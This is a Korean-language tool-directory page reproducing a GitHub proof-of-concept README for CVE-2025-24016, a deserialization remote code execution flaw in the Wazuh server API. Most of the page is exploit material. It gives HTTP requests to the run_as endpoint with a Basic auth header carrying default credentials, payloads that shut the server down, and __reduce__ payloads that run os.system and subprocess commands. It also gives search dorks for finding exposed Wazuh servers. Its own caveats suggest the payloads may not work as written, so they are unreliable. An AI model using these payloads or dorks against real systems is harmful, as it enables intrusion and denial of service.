Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC — Wazuh 서버에서 wazuh-manager 패키지의 안전하지 않은 역직렬화로 인해 심각한 RCE 취약점이 확인되었습니다. 이 버그는 Wazuh 버전 4.4.0 이상에 영향을 미치며 버전 4.9.1에서 패치되었습니다. | Kitploit
도구/GitHubGitHub/cybersecplayground/cve-2025-24016-wazuh-remote-code-execution-rce-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubcybersecplayground/cve-2025-24016-wazuh-remote-code-execution-rce-poc

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC

Wazuh 서버에서 wazuh-manager 패키지의 안전하지 않은 역직렬화로 인해 심각한 RCE 취약점이 확인되었습니다. 이 버그는 Wazuh 버전 4.4.0 이상에 영향을 미치며 버전 4.9.1에서 패치되었습니다.

저장소 보기
21년 전아직 검토되지 않음

🚨 Wazuh 원격 코드 실행 (RCE) - PoC

📌 취약점 요약

Wazuh 서버에서 wazuh-manager 패키지의 안전하지 않은 역직렬화로 인해 심각한 RCE 취약점이 확인되었습니다. 이 버그는 Wazuh 버전 ≥ 4.4.0에 영향을 미치며 버전 4.9.1에서 패치되었습니다.

🔍 세부 정보

이 결함은 Wazuh API의 DistributedAPI에 존재하며, 사용자 제어 입력이 안전하지 않게 역직렬화됩니다. 이로 인해 API 접근 권한이 있는 공격자(예: 손상된 대시보드 또는 클러스터 노드)가 run_as 엔드포인트를 사용하여 마스터 서버에서 임의의 Python 코드를 실행할 수 있습니다.

📬 개념 증명 (Burp 요청)

root@kitploit:~
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  
Content-Type: application/json

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}

📌 Authorization 헤더는 wazuh-wui:MyS3cr37P450r.*-의 base64입니다.

📌 이 페이로드는 Python의 exit() 메서드를 호출하여 Wazuh 서버를 종료시킵니다.

💥 영향

  • API를 통한 전체 원격 코드 실행
  • PoC에서 서버 종료 (DoS)
  • Wazuh 클러스터 간 측면 이동 위험

🛡️ 완화

  • ✅ Wazuh v4.9.1 이상으로 업그레이드
  • 🚫 API를 외부에 노출하지 않음
  • 🧪 비정상적인 API 활동 모니터링

✅ whoami 실행 예제 페이로드

root@kitploit:~
{
  "__unhandled_exc__": {
    "__class__": "os",
    "__import__": "os",
    "system": "whoami"
  }
}

그러나 이것만으로는 역직렬화 코드가 실제로 객체 트리를 실행하지 않으면 작동하지 않습니다. 대신 코드를 실행하는 __reduce__ 기반 객체를 사용하십시오.

다음은 pickle 유사 로직을 통해 Python의 os.system()을 사용하는 Burp 요청의 작동 형식입니다.

💣 작동하는 Burp RCE 페이로드 (Python 코드 실행)

root@kitploit:~
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json

{
  "__reduce__": [
    "__import__('os').system",
    ["whoami"]
  ]
}

🧬 ls를 실행하려면 페이로드를 변경하십시오:

root@kitploit:~
{
  "__reduce__": [
    "__import__('os').system",
    ["ls -la"]
  ]
}

다음도 사용할 수 있습니다:

root@kitploit:~
{
  "__reduce__": [
    "__import__('subprocess').getoutput",
    ["id"]
  ]
}

⚠️ 참고: 이 작업이 작동하려면 실제 역직렬화가 백엔드에서 eval() 또는 유사한 메커니즘으로 이루어져야 합니다. Wazuh PoC에 따르면 auth_context를 제어할 수 있다면 실제로 가능합니다.

🔐 전문가 팁 Burp에서 요청을 가로채서 Repeater 탭으로 이동하여 다음과 같은 여러 페이로드를 테스트하십시오:

  • "whoami"
  • "id"
  • "uname -a"
  • "ls /home/wazuh"

👇 검색어

  • HUNTER : product.name="Wazuh"
  • FOFA : app="Wazuh"

응답이 비어 있거나 상태가 500이면 로그를 확인하십시오. 때때로 출력이 반환되지 않습니다. 📚 날카로운 상태를 유지하세요, 해커 여러분! 더 많은 버그 바운티 PoC, 우회 기법, 페이로드가 곧 제공됩니다!

매일 해킹 콘텐츠를 보려면 👉 @cybersecplayground를 팔로우하세요!

#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit

도구 다운로드